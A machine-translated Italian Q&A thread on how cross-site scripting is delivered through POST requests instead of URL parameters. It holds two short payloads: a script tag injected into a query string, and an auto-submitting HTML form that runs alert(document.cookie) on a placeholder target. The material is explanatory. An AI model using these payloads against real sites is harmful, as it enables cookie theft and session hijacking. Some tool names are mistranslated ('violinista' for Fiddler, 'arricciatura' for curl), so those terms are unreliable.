Come funziona xss con le applicazioni web che accettano il payload non tramite l'url

2

La maggior parte degli esempi di XSS, ho visto esempi di siti Web che ottengono il suo parametro alterato attraverso il parametro di query url. Ad esempio:

http://example.com/param1=123&param2=name&param3=<script type='text/javascript'>alert('pwnd');</script>

Ma se l'applicazione riceve il suo payload non attraverso il parametro della query url ma attraverso il corpo della richiesta di posta, in che modo l'attaccante può attirare la vittima per eseguire xss semplicemente fornendo l'url al clic? Puoi sicuramente, manomettere i valori del corpo postale inserendo il codice, ma questo non sarà considerato come XSS, dato che solitamente viene fatto in app come il violinista o l'arricciatura che non esegue il codice di risposta. Quindi, come può verificarsi xss in queste applicazioni. Per quanto ne so, xss non mantiene i dati sul server, ma riguarda piuttosto l'utente che sta facendo quella richiesta.

    
posta DoodleKana 03.02.2015 - 00:08
fonte

2 risposte

1

Il problema esiste se il modulo è csrfable, quindi il sito web di attacker.com può contenere JavaScript che effettua una richiesta POST a victim.com per sfruttare xss. È anche sfruttabile attraverso altri mezzi come una risposta HTTP 307.

    
risposta data 03.02.2015 - 11:30
fonte
3

C'è XSS memorizzato e XSS basato su Domo che non si basano su un parametro GET. XSS basato su POST viene sfruttato utilizzando una semplice richiesta di post cross-site, che può essere attivata utilizzando il seguente codice HTML e JavaScript

<form id=xss action=http://target/action method=POST>
  <input name=param3 value="'+alert(document.cookie)+'">
  <input type=submit>
</form>
<script>
  document.getElementById("xss").submit()
</script>

Una volta che il carico utile XSS memorizzato in param3 viene eseguito nel contesto di http://target , la Politica Same-Origin viene ignorato.

    
risposta data 03.02.2015 - 05:04
fonte

Leggi altre domande sui tag